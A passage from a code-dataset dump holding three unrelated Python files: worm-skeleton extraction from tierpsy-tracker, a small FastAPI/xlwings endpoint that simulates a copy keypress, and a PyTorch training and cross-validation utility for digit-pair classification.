worm_img,\n threshold,\n strel_size=5,\n min_blob_area=50,\n roi_center_x=-1,\n roi_center_y=-1,\n is_light_background=True):\n '''\n Calculate worm mask using an specific threshold.\n -> Used by trajectories2Skeletons\n '''\n\n if any(x < 3 for x in worm_img.shape):\n return np.zeros_like(worm_img), np.zeros(0), 0\n\n # let's make sure the strel is larger than 3 and odd, otherwise it will\n # shift the mask position.\n strel_size_half = round(strel_size / 2)\n if strel_size_half % 2 == 0:\n strel_size_half += 1\n if strel_size_half < 3:\n strel_size_half = 3\n\n strel_half = cv2.getStructuringElement(\n cv2.MORPH_ELLIPSE, (strel_size_half, strel_size_half))\n\n # make the worm more uniform. This is important to get smoother contours.\n worm_img = cv2.medianBlur(worm_img, 3)\n\n # compute the thresholded mask\n worm_mask = worm_img < threshold if is_light_background else worm_img > threshold\n worm_mask = (worm_mask & (worm_img != 0)).astype(np.uint8)\n \n # first compute a small closing to join possible fragments of the worm.\n worm_mask = cv2.morphologyEx(worm_mask, cv2.MORPH_CLOSE, strel_half)\n\n # then get the best contour to be the worm\n worm_cnt, _ = binaryMask2Contour(\n worm_mask, min_blob_area=min_blob_area, roi_center_x=roi_center_x, roi_center_y=roi_center_y)\n\n # create a new mask having only the best contour\n worm_mask = np.zeros_like(worm_mask)\n if worm_cnt.size > 0:\n cv2.drawContours(worm_mask, [worm_cnt.astype(np.int32)], 0, 1, -1)\n \n # let's do closing with a larger structural element to close any gaps inside the worm.\n # It is faster to do several iterations rather than use a single larger\n # strel.\n worm_mask = cv2.morphologyEx(\n worm_mask,\n cv2.MORPH_CLOSE,\n strel_half,\n iterations=3)\n\n # finally get the contour from the last element\n worm_cnt, cnt_area = binaryMask2Contour(\n worm_mask, min_blob_area=min_blob_area, roi_center_x=roi_center_x, roi_center_y=roi_center_y)\n\n worm_mask = np.zeros_like(worm_mask)\n if worm_cnt.size > 0:\n cv2.drawContours(worm_mask, [worm_cnt.astype(np.int32)], 0, 1, -1)\n \n return worm_mask, worm_cnt, cnt_area\n\n\ndef binaryMask2Contour(\n worm_mask,\n min_blob_area=50,\n roi_center_x=-1,\n roi_center_y=-1,\n pick_center=True):\n '''\n convert binary mask into a single work contour.\n\n -> Used by getWormMask\n '''\n if worm_mask.size == 0:\n return np.zeros(0), 0 # assest this is not an empty arrays\n\n # get the center of the mask\n if roi_center_x < 1:\n roi_center_x = (worm_mask.shape[1] - 1) / 2.\n if roi_center_y < 1:\n roi_center_y = (worm_mask.shape[0] - 1) / 2.\n\n # select only one contour in the binary mask\n # get contour\n\n contour, hierarchy = cv2.findContours(\n worm_mask.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)[-2:]\n\n\n if len(contour) == 1:\n contour = np.squeeze(contour[0], axis=1)\n # filter for small areas\n cnt_area = cv2.contourArea(contour)\n if cnt_area < min_blob_area:\n return np.zeros(0), cnt_area\n\n elif len(contour) > 1:\n # clean mask if there is more than one contour\n # select the largest area object\n cnt_areas = [cv2.contourArea(cnt) for cnt in contour]\n\n # filter only contours with areas larger than min_blob_area and do not\n # consider contour with holes\n cnt_tuple = [(contour[ii], cnt_area) for ii, cnt_area in enumerate(\n cnt_areas) if cnt_area >= min_blob_area and hierarchy[0][ii][3] == -1] # shouldn't the last condition be automatically satisified by using RETR_EXTERNAL in cv2.findContours?\n\n # if there are not contour left continue\n if not cnt_tuple:\n return np.zeros(0), 0\n else:\n # get back the contour areas for filtering\n contour, cnt_areas = zip(*cnt_tuple)\n\n if pick_center:\n # In the multiworm tracker the worm should be in the center of the\n # ROI\n min_dist_center = np.inf\n valid_ind = -1\n for ii, cnt in enumerate(contour):\n #mm = cv2.moments(cnt)\n cm_x = np.mean(cnt[:, :, 1]) # mm['m10']/mm['m00']\n cm_y = np.mean(cnt[:, :, 0]) # mm['m01']/mm['m00']\n dist_center = (cm_x - roi_center_x)**2 + \\\n (cm_y - roi_center_y)**2\n if min_dist_center > dist_center:\n min_dist_center = dist_center\n valid_ind = ii\n else:\n # select the largest area object\n valid_ind = np.argmax(cnt_areas)\n\n # return the correct contour if there is a valid number\n contour = np.squeeze(contour[valid_ind])\n cnt_area = cnt_areas[valid_ind]\n else:\n return np.zeros(0), 0\n\n return contour, cnt_area\n\n\n\ndef _initSkeletonsArrays(ske_file_id, tot_rows, resampling_N, worm_midbody):\n '''initialize arrays to save the skeletons data.\n Used by trajectories2Skeletons\n '''\n\n # this is to initialize the arrays to one row, pytables do not accept empty arrays as initializers of carrays\n if tot_rows == 0:\n tot_rows = 1 \n \n #define dimession of each array, it is the only part of the array that varies\n data_dims = {}\n for data_str in ['skeleton', 'contour_side1', 'contour_side2']:\n data_dims[data_str + '_length'] = (tot_rows,)\n data_dims[data_str] = (tot_rows, resampling_N, 2)\n data_dims['contour_width'] = (tot_rows, resampling_N)\n data_dims['width_midbody'] = (tot_rows,)\n data_dims['contour_area'] = (tot_rows,)\n \n #create and reference all the arrays\n def _create_array(field, dims):\n if '/' + field in ske_file_id:\n ske_file_id.remove_node('/', field)\n \n return ske_file_id.create_carray('/', \n field, \n tables.Float32Atom(dflt=np.nan), \n dims, \n filters=TABLE_FILTERS)\n \n skel_arrays = {field:_create_array(field, dims) for field, dims in data_dims.items()}\n inram_skel_arrays = {field:np.ones(dims, dtype=np.float32)*np.nan for field, dims in data_dims.items()}\n \n # flags to mark if a frame was skeletonized\n traj_dat = ske_file_id.get_node('/trajectories_data')\n has_skeleton = traj_dat.cols.has_skeleton\n has_skeleton[:] = np.zeros_like(has_skeleton) #delete previous\n \n# return skel_arrays, has_skeleton\n return skel_arrays, has_skeleton, inram_skel_arrays\n\n\n\ndef trajectories2Skeletons(skeletons_file, \n masked_image_file,\n resampling_N=49, \n min_blob_area=50, \n strel_size=5, \n worm_midbody=(0.35, 0.65),\n analysis_type=\"WORM\", \n skel_args = {'num_segments' : 24, \n 'head_angle_thresh' : 60}\n ):\n \n #get the index number for the width limit\n midbody_ind = (int(np.floor(\n worm_midbody[0]*resampling_N)), int(np.ceil(worm_midbody[1]*resampling_N)))\n \n #read trajectories data with pandas\n with pd.HDFStore(skeletons_file, 'r') as ske_file_id:\n trajectories_data = ske_file_id['/trajectories_data']\n \n # extract the base name from the masked_image_file. This is used in the\n # progress status.\n base_name = masked_image_file.rpartition('.')[0].rpartition(os.sep)[-1]\n progress_prefix = base_name + ' Calculating skeletons.'\n \n \n \n # open skeleton file for append and #the compressed videos as read\n with tables.File(skeletons_file, \"r+\") as ske_file_id:\n\n #attribute useful to understand if we are dealing with dark or light worms\n bgnd_param = ske_file_id.get_node('/trajectories_data')._v_attrs['bgnd_param']\n bgnd_param = json.loads(bgnd_param.decode(\"utf-8\"))\n\n is_light_background = ske_file_id.get_node('/trajectories_data')._v_attrs['is_light_background']\n if len(bgnd_param) > 0:\n #invert (at least if is_light_background is true)\n is_light_background = not is_light_background\n\n \n #get generators to get the ROI for each frame\n ROIs_generator = generateMoviesROI(masked_image_file, \n trajectories_data, \n bgnd_param = bgnd_param,\n progress_prefix = progress_prefix)\n\n # add data from the experiment info (currently only for singleworm)\n with tables.File(masked_image_file, \"r\") as mask_fid: \n if '/experiment_info' in ske_file_id:\n ske_file_id.remove_node('/', 'experiment_info')\n if '/experiment_info' in mask_fid:\n dd = mask_fid.get_node('/experiment_info').read()\n ske_file_id.create_array('/', 'experiment_info', obj=dd)\n \n \n #initialize arrays to save the skeletons data\n tot_rows = len(trajectories_data)\n# skel_arrays, has_skeleton = _initSkeletonsArrays(ske_file_id, \n skel_arrays, has_skeleton, inram_skel_arrays = _initSkeletonsArrays(ske_file_id, \n tot_rows, \n resampling_N, \n worm_midbody)\n \n # dictionary to store previous skeletons\n prev_skeleton = {}\n \n for worms_in_frame in ROIs_generator:\n for ind, roi_dat in worms_in_frame.items():\n row_data = trajectories_data.loc[ind]\n worm_img, roi_corner = roi_dat\n skeleton_id = int(row_data['skeleton_id'])\n \n # get the previous worm skeletons to orient them\n worm_index = row_data['worm_index_joined']\n if worm_index not in prev_skeleton:\n prev_skeleton[worm_index] = np.zeros(0)\n\n if analysis_type == \"ZEBRAFISH\":\n output = _zebra_func(worm_img, skel_args, resampling_N)\n else:\n _, worm_cnt, _ = getWormMask(worm_img, \n row_data['threshold'], \n strel_size,\n min_blob_area=row_data['area'] / 2, \n is_light_background = is_light_background)\n # get skeletons\n output = getSkeleton(worm_cnt, prev_skeleton[worm_index], resampling_N, **skel_args)\n\n \n \n \n if output is not None and output[0].size > 0:\n skeleton, ske_len, cnt_side1, cnt_side2, cnt_widths, cnt_area = output\n prev_skeleton[worm_index] = skeleton.copy()\n\n #mark row as a valid skeleton\n has_skeleton[skeleton_id] = True\n \n # save segwrom_results\n# skel_arrays['skeleton_length'][skeleton_id] = ske_len\n# skel_arrays['contour_width'][skeleton_id, :] = cnt_widths\n inram_skel_arrays['skeleton_length'][skeleton_id] = ske_len\n inram_skel_arrays['contour_width'][skeleton_id, :] = cnt_widths\n \n mid_width = np.median(cnt_widths[midbody_ind[0]:midbody_ind[1]+1])\n# skel_arrays['width_midbody'][skeleton_id] = mid_width\n inram_skel_arrays['width_midbody'][skeleton_id] = mid_width\n\n # convert into the main image coordinates\n# skel_arrays['skeleton'][skeleton_id, :, :] = skeleton + roi_corner\n# skel_arrays['contour_side1'][skeleton_id, :, :] = cnt_side1 + roi_corner\n# skel_arrays['contour_side2'][skeleton_id, :, :] = cnt_side2 + roi_corner\n# skel_arrays['contour_area'][skeleton_id] = cnt_area\n inram_skel_arrays['skeleton'][skeleton_id, :, :] = skeleton + roi_corner\n inram_skel_arrays['contour_side1'][skeleton_id, :, :] = cnt_side1 + roi_corner\n inram_skel_arrays['contour_side2'][skeleton_id, :, :] = cnt_side2 + roi_corner\n inram_skel_arrays['contour_area'][skeleton_id] = cnt_area\n# import pdb\n# pdb.set_trace()\n \n# now write on disk\n for key in inram_skel_arrays:\n skel_arrays[key][:] = inram_skel_arrays[key].astype(np.float32)\n \nif __name__ == '__main__':\n \n import shutil\n from tierpsy.helper.params.tracker_param import TrackerParams\n \n# root_dir = '/Volumes/behavgenom$/Andre/fishVideos/'\n root_dir = '/Users/lferiani/Desktop/Data_FOVsplitter/short'\n \n #ff = 'N2_N10_F1-3_Set1_Pos7_Ch1_12112016_024337.hdf5'\n #ff = 'unc-9_N10_F1-3_Set1_Pos1_Ch5_17112016_193814.hdf5'\n #ff = 'trp-4_N1_Set3_Pos6_Ch1_19102016_172113.hdf5'\n #ff = 'trp-4_N10_F1-1_Set1_Pos2_Ch4_02112016_201534.hdf5'\n #ff = 'f3_ss_uncompressed.hdf5'\n ff = 'drugexperiment_1hr30minexposure_set1_bluelight_20190722_173404.22436248/metadata.hdf5'\n masked_image_file = os.path.join(root_dir, 'MaskedVideos', ff) \n skeletons_file = os.path.join(root_dir, 'Results', ff.replace('.hdf5', '_skeletons.hdf5'))\n # restore skeletons from backup\n shutil.copy(skeletons_file.replace('.hdf5','.bk'), skeletons_file)\n\n# json_file = os.path.join(root_dir, 'f3_ss_uncompressed.json')\n json_file = '/Users/lferiani/Desktop/Data_FOVsplitter/loopbio_rig_96WP_upright_Hydra05.json'\n \n # read parameters\n params = TrackerParams(json_file)\n p = params.p_dict\n skel_args = {'num_segments' : p['w_num_segments'],\n 'head_angle_thresh' : p['w_head_angle_thresh']}\n # trajectories2Skeletons\n argkws_d = {\n 'resampling_N': p['resampling_N'],\n 'worm_midbody': (0.33, 0.67),\n 'min_blob_area': p['traj_min_area'],\n 'strel_size': p['strel_size'],\n 'analysis_type': p['analysis_type'],\n 'skel_args' : skel_args\n }\n\n \n\n trajectories2Skeletons(skeletons_file, masked_image_file, **argkws_d)\n","repo_name":"ver228/tierpsy-tracker","sub_path":"tierpsy/analysis/ske_create/getSkeletonsTables.py","file_name":"getSkeletonsTables.py","file_ext":"py","file_size_in_byte":16189,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"78"} +{"seq_id":"86783730636","text":"import xlwings as xw\nfrom fastapi import Body, FastAPI\nfrom fastapi.middleware.cors import CORSMiddleware\nfrom pynput.keyboard import Key, Controller\n\napp = FastAPI()\n\n\n@app.post(\"/hello\")\ndef hello(data: dict = Body):\n # Instantiate a Book object with the deserialized request body\n book = xw.Book(json=data)\n\n # Use xlwings as usual\n sheet = book.sheets[0]\n cell = sheet[\"K1\"]\n if cell.value == true:\n keyboard.press(Key.ctrl.value)\n keyboard.press('c')\n keyboard.release('c')\n keyboard.release(Key.ctrl.value)\n\n\n # Pass the following back as the response\n return book.json()\n\n\n# Excel on the web requires CORS\napp.add_middleware(\n CORSMiddleware,\n allow_origins=\"*\",\n allow_methods=[\"POST\"],\n allow_headers=[\"*\"],\n)\n\n\nif __name__ == \"__main__\":\n import uvicorn\n\n uvicorn.run(\"main:app\", host=\"127.0.0.1\", port=8000, reload=True)\n","repo_name":"SamFayez321/Copy-Paste","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12830503052","text":"import torch\nimport torch.nn as nn\nimport matplotlib.pyplot as plt\ntry:\n import pandas as pd\nexcept ModuleNotFoundError:\n pass\ntry:\n import seaborn as sns\nexcept ModuleNotFoundError:\n pass\nimport numpy as np\nfrom time import perf_counter\nfrom dlc_practical_prologue import generate_pair_sets\n\ndef normalize(data,mean=None,std=None):\n \"\"\"\n Goal:\n Normalize the data - idest substracting the mean, divide by the standard deviation\n Inputs:\n data = torch tensor - size Nx2xHxW (N number of data points, H height of the image, W width of the image)\n the first column of the data shall be the classes\n mean = torch tensor - size 1x2xHxW (H height of the image, W width of the image)\n if the mean tensor is passed, then it will directly use this mean tensor instead of computing it\n std = torch tensor - size 1x2xHxW (H height of the image, W width of the image)\n if the std tensor is passed, then it will directly use this std tensor instead of computing it\n Outputs:\n data = torch tensor - size Nx2xHxW (N number of data points, H height of the image, W width of the image)\n Normalized data\n mean = torch tensor - size 1x2xHxW (H height of the image, W width of the image)\n Mean of the data, or mean passed as argument\n std = torch tensor - size 1x2xHxW (H height of the image, W width of the image)\n standard deviation of the data, or std passed as argument\n \"\"\"\n \n if mean is None:\n mean = torch.mean(data,dim=0,keepdim=True) # Compute the mean\n if std is None: \n std = torch.std(data,dim=0,keepdim=True) # Compute the std\n #std=torch.where(std==0.0,0.1,std )\n norm_data = data.clone() \n std = torch.where(std==0,1.,std.double()).float()\n norm_data = (norm_data - mean)/std # Normalize\n return norm_data, mean, std\n\ndef train_model(model, train_input, train_target, train_classes,\n nb_epochs=50, \n batch_size = 100, \n eta = 0.05):\n \"\"\"\n Goal:\n Train a given model \n Inputs:\n model = nn.Module class object - model to be trained\n train_input = tensor - size (Nx2x14x14) (N number of samples)\n input of the training datas\n train_target = tensor - size (N) (N number of samples)\n targets - belongs to {0,1}\n train_classes = tensor - size (Nx2) (N number of samples)\n Classes (i.e. numbers) of the two images - belongs to {1,...,10}\n nb_epochs = int - Number of epochs for the training\n batch_size = int - size of the batches\n eta = float - learning rate \n Outputs:\n \"\"\"\n model.train()\n criterion = nn.CrossEntropyLoss() # Define the loss\n optimizer = torch.optim.Adam(model.parameters(), lr = eta) # Define the optimizer\n # For each output of the model a target type is associated (auxiliary losses)\n target_type = model.target_type \n # For each loss a weight is defined\n weights_loss = model.weights_loss\n for epochs in range(nb_epochs):\n for b in range(0, train_input.size(0), batch_size):\n # Compute the output of the model\n output = model(train_input.narrow(0, b, batch_size))\n # If there is multiple outputs (auxiliary losses)\n if len(target_type) > 1:\n loss_list = [] # List where the losses will be stored\n for i,target in enumerate(target_type):\n # Target 0 means that the output predicts whether the first number \n # is higher or lower than the second one\n if target == \"target0\":\n # Compute the auxiliary loss\n aux_loss = criterion(output[i], \n train_target.narrow(0, b, batch_size))\n # Target 1 means that the output predicts the classes of the images\n elif target == \"target1\":\n # Compute the auxiliary loss\n aux_loss = criterion(output[i], \n train_classes.narrow(0, b, batch_size))\n else:\n # print Error message\n return \"Unexpected value in the attribute target_type\"\n # Add the weighted auxiliary loss to the loss list\n loss_list.append(aux_loss*weights_loss[i])\n # Sum the auxiliary losses\n loss = sum(loss_list)\n else:\n # Else if one output : no auxiliary losses\n loss = criterion(output, train_target.narrow(0, b, batch_size))\n model.zero_grad() # Reset the gradient tensors to 0\n loss.backward() # Perform a backward step\n optimizer.step() # Update the weights\n\ndef std_accuracy(data_path,archi_names=None,save_data=None):\n \"\"\"\n Goal:\n Given the results on the test set, it will compute the mean accuracy\n over the different runs and also the standard deviation\n Inputs:\n data_path = string - path to the data containing the results on the test set\n archi_names = list of string - name of the architectures\n svae_data = string - name for the file where the quantities computed will be stored\n Outputs:\n \"\"\"\n # Lines to be displayed\n columns = [\"Architecture\",\"Mean test\",\"Std test\",\"Mean train\",\"Std train\"]\n subheader = [\"-\"*len(head) for head in columns]\n row_format = '{:<30}{:<15}{:<15}{:<15}{:<15}'\n # Extract the data\n data = np.genfromtxt(data_path,delimiter=\",\",skip_header=1).astype(float)\n max_epochs = np.max(data[:,-1])\n data = data[data[:,-1] == max_epochs]\n # Get the unique architectures\n unique_archi = np.unique(data[:,1])\n new_data = np.zeros((unique_archi.shape[0],5))\n new_data[:,0] = unique_archi\n print(row_format.format(*columns))\n print(row_format.format(*subheader))\n \"data_architectures/metrics\" + save_data + \".csv\"\n for i,archi in enumerate(unique_archi):\n data_archi = data[data[:,1] == archi]\n # Metrics on test set\n new_data[i,1] = np.mean(data_archi[data_archi[:,-2] == 2,2])\n new_data[i,2] = np.std(data_archi[data_archi[:,-2] == 2,2])\n # Metrics on train set\n new_data[i,3] = np.mean(data_archi[data_archi[:,-2] == 0,2])\n new_data[i,4] = np.std(data_archi[data_archi[:,-2] == 0,2])\n if archi_names is not None:\n archi_name_index = archi_names[int(archi)]\n else:\n archi_name_index = int(archi)\n row_display = [archi_name_index,\n round(new_data[i,1],2),\n round(new_data[i,2],2),\n round(new_data[i,3],2),\n round(new_data[i,4],2)]\n print(row_format.format(*row_display))\n # Save the data \n if save_data is not None:\n name_file = \"data_architectures/metrics\" + save_data + \".csv\"\n np.savetxt(name_file,new_data,delimiter=\",\",header = \",\".join(columns))\n\n\nclass Cross_validation():\n\n def __init__(self,\n architectures,\n args,\n steps=5,\n runs=10,load=5000,epochs=50,pandas_flag=False):\n \"\"\"\n Goal:\n Inputs:\n architectures = list of class generating the architectures\n args = list of the arguments of each class\n steps = int - granularity for the graphs ()\n runs = int - number of times to retrain a new model\n load = int - number of samples you are loading (only 1000 will be used for train and test at each run)\n epochs = int - number of epochs for the training\n pandas_flag = specify if pandas and seaborn are installed. If yes, one can plot the graphs, otherwise\n you will only be able to save the datas in csv files. \n Outputs:\n \"\"\"\n self.architectures = architectures # Get the list of architectures\n self.archi_names = [] # Store the name of the architectures\n for i,archi in enumerate(architectures):\n name = archi.__name__\n if len(args[i]) > 0:\n name += \" (\"\n for arg in args[i]:\n name += str(arg) + \",\"\n name = name[:-1]\n name += \")\"\n self.archi_names.append(name)\n self.args = args # Get the arguments for each architecture\n self.runs = runs # Number of runs\n # Columns of the data frame where all the data will be stored (will be used for the graphs)\n self.columns = [\"run_id\",\"architecture\",\"accuracy\",\"type\",\"epochs\"]\n # Create the data frames\n self.columns_time = [\"architecture\",\"time\",\"run_id\"]\n if pandas_flag:\n self.datatime = pd.DataFrame([[1e20,1e20,1e20]],columns=self.columns_time)\n self.dataframe = pd.DataFrame([[1e20,1e20,1e20,1e20,1e20]],columns=self.columns)\n else:\n self.datatime = np.zeros((0,len(self.columns_time)))\n self.dataframe = np.zeros((0,len(self.columns)))\n # Load the the data set\n data = generate_pair_sets(load)\n self.size = 1000 # Number of samples used for training and testing at each run\n self.epochs = epochs # get the number of epochs\n # To be checked (are these two lines necessary ??)\n self.train_input, self.train_target, self.train_classes = data[0], data[1], data[2]\n self.test_input, self.test_target, self.test_classes = data[3], data[4], data[5]\n self.steps = steps # Get Granularity for the graphs\n # Row format for the logs\n self.row_format = '{:<30}{:<10}{:<20}{:<20}{:<15}' # Define the display format\n self.data_count = None\n self.pandas_flag = pandas_flag\n #store it to see plot where the model fail, random initialisation\n self.errors_img = torch.empty(0,1) # torch.empty() marche aussi ?\n self.errors_target = torch.empty(0,1)\n self.errors_numbers = torch.empty(0,1)\n self.right_target = torch.empty(0,1)\n\n def count_params(self,save_data=None):\n \"\"\"\n Goal:\n Count the number of parameters to be trained for each model. Save these datas\n into the data_architectures folder \n Inputs:\n save_data = string - name of the file \n Outputs:\n \"\"\"\n param_count = []\n for i,archi in enumerate(self.architectures):\n model = archi(*self.args[i])\n n_params = 0\n with torch.no_grad():\n for params in model.parameters():\n n_params += params.numel()\n param_count.append(n_params)\n data_param = torch.tensor(param_count).view(-1,1)\n index = torch.arange(len(self.architectures)).view(-1,1)\n data_param = torch.cat((index,data_param),dim=1)\n self.data_count = data_param\n if save_data is not None:\n name_file = \"data_architectures/param_count\" + save_data + \".csv\"\n columns=[\"Architectures index\",\"Number of parameters\"]\n if self.pandas_flag:\n param_pd = pd.DataFrame(data_param.tolist(),\n columns=columns)\n param_pd.to_csv(name_file,index=False)\n else:\n data_np = data_param.numpy()\n print(data_np)\n np.savetxt(name_file,data_np,delimiter=\",\",header=\",\".join(columns))\n\n def index_for_equal_class(self,targets):\n \"\"\"\n Goal:\n Determine the indexes to choose such that the classes are balanced \n in the data set. A random shuffle is first applied\n Inputs:\n targets = torch tensor - size N (number of data points)\n label of the data points \n Outputs:\n indexes = torch tensor - size self.size \n indexes selected\n \"\"\"\n index_class0 = (targets == 0).nonzero(as_tuple=False).view(-1) # Select the classes\n index_class1 = (targets == 1).nonzero(as_tuple=False).view(-1)\n index_class0 = index_class0[torch.randperm(index_class0.shape[0])] # Shuffle the indexes\n index_class1 = index_class1[torch.randperm(index_class1.shape[0])] # Shuffle the indexes\n indexes = torch.cat((index_class0[:self.size//2],index_class1[:self.size//2]))\n indexes = indexes[torch.randperm(indexes.shape[0])] # Shuffle the final indexes\n return indexes\n\n\n def split_data(self,test=False):\n \"\"\"\n Split the data into a train/(validation or test) of size self.size (each set)\n Preserve the equal class distribution (50% class 0, 50% class 1)\n Normalize the input datas\n Goal:\n Extract randomly 1000 (size attribute) training and testing/validation data points\n Inputs:\n test = specify if you want test data set or validation data set for the second element\n Outputs:\n train_input = tensor - size (1000x2x14x14)\n input of the training datas\n train_target = tensor - size (1000)\n targets - belongs to {0,1}\n train_classes = tensor - size (1000x2)\n Classes (i.e. numbers) of the two images - belongs to {1,...,10}\n test_input = tensor - size (1000x2x14x14)\n input of the validation datas\n test_target = tensor - size (1000)\n targets - belongs to {0,1}\n test_classes = tensor - size (1000x2)\n Classes (i.e. numbers) of the two images - belongs to {1,...,10}\n \"\"\"\n shuffle_index = torch.randperm(self.train_target.shape[0])\n load = shuffle_index.shape[0]\n train_input_shuffle = self.train_input[shuffle_index]\n train_target_shuffle = self.train_target[shuffle_index]\n train_classes_shuffle = self.train_classes[shuffle_index]\n index_train = self.index_for_equal_class(train_target_shuffle[:load//2])\n train_input = train_input_shuffle[index_train]\n train_target = train_target_shuffle[index_train]\n train_classes = train_classes_shuffle[index_train]\n if not test:\n index_test = self.index_for_equal_class( train_target_shuffle[load//2:]) + load//2\n test_input = train_input_shuffle[index_test]\n test_target = train_target_shuffle[index_test]\n test_classes = train_classes_shuffle[index_test]\n else:\n index_test = self.index_for_equal_class(self.test_target)\n test_input = self.test_input[index_test]\n test_target = self.test_target[index_test]\n test_classes = self.test_classes[index_test]\n train_input, mean, std = normalize(train_input)\n test_input, _, _ = normalize(test_input,mean,std)\n return train_input, train_target, train_classes ,test_input ,test_target ,test_classes\n\n def accuracy(self,model,input,target,target_classes):\n \"\"\"\n Goal:\n Compute the accuracy of a model on a given data set\n Inputs:\n input = tensor - size (Nx2x14x14) N number of samples\n input of the model\n target = tensor - size (N) N number of samples\n targets - belongs to {0,1}\n target_classes = tensor - size (Nx2)\n Outputs:\n accuracy = float - Accuracy in percentage \n \"\"\"\n model.eval()\n with torch.no_grad(): # Shut down the autograd machinery\n output = model(input) # Compute the output of the model\n _,predicted = torch.max(output,dim=1) # Compute the prediction\n #compute the error matrix\n errors_matrix = torch.where(target != predicted,1,0)\n # Compute the number of errors\n total_errors = errors_matrix.sum().item()\n \"\"\"\n #store the wrong set of image\n errors_index = torch.empty(0,1)\n errors_index = ((errors_matrix == 1).nonzero(as_tuple=True)[0])\n self.errors_img = input[errors_index]\n self.errors_target = predicted[errors_index]\n if len(model.target_type) > 1 and len(errors_index) != 0: \n #We can see the errors only if the model has it as output\n self.errors_numbers=torch.argmax(output[1][errors_index],dim=1)\n self.right_target=target_classes[errors_index]\n \"\"\"\n # Compute the accuracy\n accuracy = (1 - total_errors/(target.shape[0]))*100\n model.train()\n return accuracy\n\n \"\"\"\n def get_errors(self):\n return self.errors_img, self.errors_target, self.errors_numbers\n \"\"\"\n\n def run_one(self,archi_name,test=False,save_weight=None):\n \"\"\"\n Goal:\n Train a model generated by the architecture \"archi_name\" \"self.runs\" times.\n Store the performances of these models in the data frame\n the performances are recorded each \"self.step\" epochs\n Inputs:\n archi_name = name of the architecture (i.e. name of the class)\n test = Boolean - are you validating hyperparameters or perform a final test \n on the testing data\n Outputs:\n \"\"\"\n if test:\n type_perf = 2\n else:\n type_perf = 1\n # Check that the name of the architectures is defined\n if not archi_name in self.archi_names:\n return \"Unexpected value for archi_name\"\n # Get the index of the architecture\n index = self.archi_names.index(archi_name)\n # Get the class \n Myclass = self.architectures[index]\n # Get the arguments\n args = self.args[index]\n # The data to add to the data frame will be stored in this tensor\n new_data_time = torch.zeros(len(self.columns_time)).view(1,-1)\n new_data = torch.zeros(len(self.columns)).view(1,-1)\n for runs in range(self.runs): # Repeat runs times\n # Get a random data set of 1000 samples for training, same for testing \n data = self.split_data(test=test)\n # Extract this\n train_input, train_target, train_classes = data[0], data[1], data[2]\n test_input, test_target, test_classes = data[3], data[4], data[5]\n # Create the model\n model = Myclass(*args)\n # Compute the initial accuracy \n accuracy_train = self.accuracy(model,train_input,train_target,train_classes)\n accuracy_test = self.accuracy(model,test_input,test_target,test_classes)\n # Store it into the new_data tensor\n row_test = torch.tensor([runs,index,accuracy_test,type_perf,0]).view(1,-1)\n row_train = torch.tensor([runs,index,accuracy_train,0,0]).view(1,-1)\n new_data = torch.cat((new_data,row_train,row_test),dim=0)\n # Train the model and record the accuracy each self.steps epochs\n start = perf_counter() # Start the chrono\n for step in range(self.steps,self.epochs,self.steps):\n # Train the model for self.steps epochs\n train_model(model, \n train_input, \n train_target, \n train_classes, \n nb_epochs=self.steps)\n # Compute the accuracy on the train and test set\n accuracy_train = self.accuracy(model,train_input,train_target,train_classes)\n accuracy_test = self.accuracy(model,test_input,test_target,test_classes)\n # Store is into the new_data tensor\n row_test = torch.tensor([runs,index,accuracy_test,type_perf,step]).view(1,-1)\n row_train = torch.tensor([runs,index,accuracy_train,0,step]).view(1,-1)\n new_data = torch.cat((new_data,row_train,row_test),dim=0)\n # Store into the new_data_time tensor\n end = perf_counter() # Stop the chrono\n elapsed = (end - start) # Compute the elapsed time\n row_time = torch.tensor([index,elapsed,runs]).view(1,-1)\n new_data_time = torch.cat((new_data_time,row_time),dim=0)\n # Row to be displayed/logged\n row = [archi_name,runs,\n round(accuracy_train,1),\n round(accuracy_test,1),round(elapsed,1)]\n # Print a message about the performances of the architecture\n print(self.row_format.format(*row))\n #save the model weight\n if save_weight is not None:\n torch.save(model.state_dict(), 'model/{}_weights.pth'.format(archi_name))\n # Remove the first artificial line\n new_data = new_data[1:]\n new_data_time = new_data_time[1:]\n # Add the new data to the existing data frame\n if self.pandas_flag:\n df = pd.DataFrame(data=new_data.tolist(),columns=self.columns)\n self.dataframe = self.dataframe.append(df,ignore_index=True)\n # Remove the first artificial line of the data frame\n df_time = pd.DataFrame(data=new_data_time.tolist(),columns=self.columns_time)\n self.datatime = self.datatime.append(df_time,ignore_index=True)\n else:\n self.datatime = np.concatenate((self.datatime,new_data_time.numpy()),axis=0)\n self.dataframe = np.concatenate((self.dataframe,new_data.numpy()),axis=0)\n self.remove_line()\n\n def run_all(self,test=False,save_data=None):\n \"\"\"\n Goal:\n For each architecture : \n Train a model generated by the architecture \"self.runs\" times.\n Store the performances of these models in the data frame\n the performances are recorded each \"self.step\" epochs\n Inputs:\n test = Boolean - are you validating hyperparameters or perform a final test \n on the testing data\n save_data = string - file name for the data to be stored\n Outputs:\n \"\"\"\n # Header to be displayed\n if test:\n accu_header = \"Accuracy Test\"\n else:\n accu_header = \"Accuracy Validation\"\n header = [\"Architecture\",\"Runs\",\"Accuracy Train\",accu_header,\"Time\"]\n under_header = [\"-\"*len(word) for word in header]\n print(self.row_format.format(*header)) # Print the header\n print(self.row_format.format(*under_header)) # Print the the under_header\n # For each architecture\n for archi_name in self.archi_names:\n self.run_one(archi_name,test=test,save_weight=save_data)\n if save_data is not None:\n name_file_corres = \"data_architectures/corres_index\" + save_data + \".csv\"\n name_file_accuracy = \"data_architectures/accuracy\" + save_data + \".csv\"\n name_file_time = \"data_architectures/time\" + save_data + \".csv\"\n if self.pandas_flag:\n corres_pd = pd.DataFrame(self.archi_names,columns=[\"Architecture name\"])\n corres_pd.to_csv(name_file_corres)\n self.dataframe.to_csv(name_file_accuracy,index=False)\n self.datatime.to_csv(name_file_time,index=False)\n else:\n np.savetxt(name_file_accuracy,\n self.dataframe,delimiter=\",\",\n header=\",\".join(self.columns))\n np.savetxt(name_file_time,\n self.datatime,delimiter=\",\",\n header=\",\".join(self.columns_time))\n\n def remove_line(self):\n \"\"\"\n Goal:\n Remove the artficial first line of the data frame\n Inputs:\n Outputs:\n \"\"\"\n if self.pandas_flag:\n # Remove the first line 